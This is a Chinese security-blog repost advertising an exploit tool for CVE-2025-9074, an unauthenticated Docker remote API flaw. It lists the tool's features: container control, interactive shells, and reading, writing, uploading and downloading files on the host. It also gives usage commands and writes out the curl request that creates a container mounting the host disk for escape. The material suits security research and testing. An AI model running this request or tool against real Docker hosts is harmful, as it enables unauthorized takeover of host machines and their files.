文章总结: 本文介绍针对CVE-2025-9074Docker远程API漏洞的利用工具。该工具支持全自动化容器管理、跨平台及智能路径映射,能通过未授权API创建容器并挂载宿主机磁盘,实现容器逃逸与文件读写。其菜单式交互简化了操作流程,适用于安全研究与渗透测试。 综合评分: 80 文章分类: 渗透测试,漏洞POC,安全工具,云安全,红队
一个功能强大的 Docker 远程 API 漏洞利用工具
黑白之道
2026年1月12日 09:19 山东
工具介绍
CVE-2025-9074 Docker 容器命令执行工具 ,一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。
核心优势
✅ 全自动容器生命周期管理:自动创建临时容器,操作完成后自动清理,不留痕迹 ✅ 智能路径处理:自动识别并转换 Windows 路径为 Docker 挂载格式 ✅ 全自动化操作流程:无需手动输入复杂命令,菜单式交互,一键完成文件操作 ✅ 跨平台兼容:完美支持 Windows 和 Linux 系统
部分功能效果图
功能特性
-
容器操作
-
查看运行中的容器
-
查看所有容器(包括停止的)
-
创建新容器
-
停止容器
-
删除容器
-
单次命令执行
-
交互式终端(需要 docker 库)
-
镜像管理
-
查看本地镜像
-
拉取新镜像
-
删除镜像
-
宿主机文件操作
-
上传文件到宿主机
-
从宿主机下载文件
-
读取宿主机文件内容
-
向宿主机写入文件
-
自动处理 Windows Docker Desktop 路径映射
漏洞说明
CVE-2025-9074 是 Docker 远程 API 的一个安全漏洞,攻击者可以通过未授权访问 Docker API 来:
- 执行任意命令
- 创建容器并挂载宿主机磁盘
- 实现容器逃逸
- 读取/写入宿主机文件
使用方法
基本用法
直接运行脚本,使用默认 Docker API 地址:
python CVE-2025-9074-docker-exploit.py
自定义 Docker API 地址
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
命令行参数
python CVE-2025-9074-docker-exploit.py [选项]
选项:
-u, --url URL Docker API 地址(默认: http://192.168.65.7:2375)
功能详解
容器操作
- 查看运行中的容器:显示所有正在运行的容器列表
- 查看所有容器:显示所有容器(包括已停止的)
- 创建新容器:使用指定镜像创建新容器
- 停止容器:停止运行中的容器
- 删除容器:删除容器(可强制删除)
- 单次命令执行:在容器中执行单条命令
- 交互式终端:进入容器的交互式 shell(需要 docker 库)
使用交互式终端
- 运行脚本后选择 “1. 容器操作”
- 选择 “1. 查看运行中的容器”
- 输入容器序号选择容器
- 选择 “2. 交互式终端 (需要 docker 库)”
- 输入 shell 命令(默认: /bin/sh)
- 开始交互式操作
镜像管理
- 查看镜像:列出所有本地镜像
- 拉取镜像:从 Docker Hub 拉取新镜像
- 删除镜像:删除本地镜像
宿主机文件操作
上传文件到宿主机
1. 上传文件到宿主机
请输入本地文件路径: /path/to/local/file.txt
请输入宿主机目标目录: D:/temp
请输入目标文件名 (留空则使用原文件名):
从宿主机下载文件
2. 从宿主机下载文件
请输入宿主机文件路径: D:/temp/file.txt
请输入本地保存路径: /tmp
读取宿主机文件内容
3. 读取宿主机文件内容
请输入宿主机文件路径: D:/temp/file.txt
向宿主机写入文件
4. 向宿主机写入文件
请输入宿主机目标目录: D:/temp
请输入文件内容: Hello, World!
Windows Docker Desktop 路径映射
本工具自动处理 Windows Docker Desktop 的路径映射:
| Windows 路径 | Docker 挂载路径 |
| — | — |
| D:\ | /mnt/host/d |
| D:\temp | /mnt/host/d/temp |
| C:\Windows | /mnt/host/c/Windows |
| C:\Users\test | /mnt/host/c/Users/test |
支持的输入格式:
D:\或D:/D:\temp或D:/temp"D:\file.txt"(带引号)'D:/file.txt'(带引号)
技术原理
容器逃逸
通过 Docker API 创建容器并挂载宿主机磁盘:
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
文件读写
通过在容器中执行命令来读写宿主机文件:
# 写入文件
echo "content" > /tmp/file.txt
# 读取文件
cat /tmp/file.txt
工具获取
https://github.com/Shaoshi17/CVE-2025-9074-Docker-Exploit
文章来源:夜组安全
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:黑白之道 《一个功能强大的 Docker 远程 API 漏洞利用工具》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论